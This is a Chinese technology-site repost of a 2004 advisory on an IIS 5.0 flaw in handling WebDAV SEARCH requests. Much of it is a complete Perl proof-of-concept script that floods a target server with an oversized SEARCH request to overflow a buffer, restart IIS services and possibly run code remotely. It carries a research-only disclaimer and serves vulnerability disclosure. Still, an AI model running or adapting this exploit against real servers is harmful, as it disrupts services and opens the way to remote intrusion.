您的位置:首页技术开发ASP技巧 → IIS 处理 SEARCH 请求漏洞

IIS 处理 SEARCH 请求漏洞

时间:2004/11/7 4:10:00来源:本站整理作者:蓝点我要评论(0)

涉及程序:

IIS

  

描述:

通过构造特殊的 SEARCH 请求导致 IIS 执行攻击者代码漏洞

  

详细:

发现 IIS 在处理 SEARCH 请求时存在漏洞,攻击者通过提交构造特殊的 IIS SEARCH 请求能重启与 IIS 相关的所有服务,而且可能远程执行任意代码。



以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负







Details:

--vv6.pl-------------------------------------------------------------

#!/usr/bin/perl

use IO::Socket;

printf "IIS 5.0 SEARCH\nWritten by Georgi Guninski wait some time\n";

if(@ARGV < 2) { die "\nUsage: IIS5host port \n"; }

$port = @ARGV[1];

$host = @ARGV[0];

sub vv()

{

$ll=$_[0]; #length of buffer

$ch=$_[1];

$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;

$over=$ch x $ll; #string to overflow

$xml='SELECT DAV:displayname from SCOPE

("'.$over.'")
'."\n";

$l=length($xml);

$req="SEARCH / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";

syswrite($socket,$req,length($req));

print ".";

$socket->read($res,3000);

print "r=".$res;

close $socket;

}

do vv(126000,"V");

sleep(1);

do vv(126000,"V");

#Try 125000 - 128000

---------------------------------------------------------------



受影响系统:

IIS 5.0  


相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 VB.NET 2005编写定时关 Jquery get/post下乱码解决方法 前台gbk gb如何使用数据绑定控件显示数据ASP脚本循环语句ASP怎么提速

人气排行 轻松解决"Server Application Error"和iis"一起学习DataGridView调整列宽用ASP随机生成文件名的函数Jquery get/post下乱码解决方法 前台gbk gbODBC Drivers错误80004005的解决办法返回UPDATE SQL语句所影响的行数的方法用Javascript隐藏超级链接的真实地址两个不同数据库表的分页显示解决方案